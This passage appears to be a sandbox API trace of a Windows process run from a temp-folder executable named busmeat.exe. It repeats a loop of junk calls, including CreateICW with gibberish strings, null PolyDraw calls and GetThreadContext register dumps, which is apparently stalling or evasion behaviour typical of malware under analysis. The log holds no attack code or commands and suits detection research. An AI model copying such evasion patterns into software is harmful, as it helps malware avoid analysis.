[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.152] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.153] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.153] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.153] GetConsoleCP () returned 0x0
	[0066.153] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.153] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.154] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.154] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.154] GetConsoleCP () returned 0x0
	[0066.154] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.154] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.155] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.155] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.155] GetConsoleCP () returned 0x0
	[0066.155] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 